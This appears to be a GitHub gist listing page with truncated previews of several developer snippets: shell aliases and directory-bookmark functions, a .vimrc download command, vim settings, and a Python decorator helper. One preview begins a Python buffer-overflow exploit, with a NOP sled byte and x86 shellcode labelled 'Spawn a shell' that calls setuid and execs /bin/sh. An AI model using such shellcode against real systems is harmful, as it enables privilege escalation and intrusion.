This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
curl -fsSL https://gist.githubusercontent.com/vmeyet/dbb3e52717683d99e0d1/raw/fc6bb235b1d10d2bbe92810dfa05c6d9a5419e21/.vimrc > $HOME/.vimrc | |
alias bspec="bundle exec rspec" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
export MARKPATH=$HOME/.marks | |
function jump { | |
cd -P "$MARKPATH/$1" 2>/dev/null || echo "No such mark: $1" | |
} | |
function mark { | |
mkdir -p "$MARKPATH"; ln -s "$(pwd)" "$MARKPATH/$1" | |
} | |
function unmark { | |
rm -i "$MARKPATH/$1" | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import functools | |
from contextlib import contextmanager | |
def context_to_decorator(context_manager): | |
def decorator_maker(*args_context, **kwargs_context): | |
def decorator(func): | |
@functools.wraps(func) | |
def wrapped(*args, **kwargs): | |
with context_manager(*args_context, **kwargs_context): | |
ret_val = func(*args, **kwargs) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
scriptencoding utf-8 | |
set encoding=utf-8 | |
" {{{ settings | |
set nocompatible " Use Vim defaults instead of 100% vi compatibility | |
set backspace=indent,eol,start " more powerful backspacing | |
set autoindent " always set auto-indenting on | |
set hidden " allow to cycle and hide modified buffers | |
set nobackup " Don't keep a backup file |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# -*- coding:utf-8 -*- | |
MAX_SIZE = 512 | |
NOOP = '\x90' | |
# Spawn a shell | |
SHELL_CODE = ( | |
'\x6a\x18\x58\xcd\x80\x50\x50\x5b\x59\x6a\x46\x58\xcd\x80\x50\x68\x2f\x2f' | |
'\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x99\x31\xc9\xb0\x0b\xcd\x80') |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import sys | |
class NoSolutionError(Exception): | |
pass | |
class ProblemSolved(Exception): | |
pass |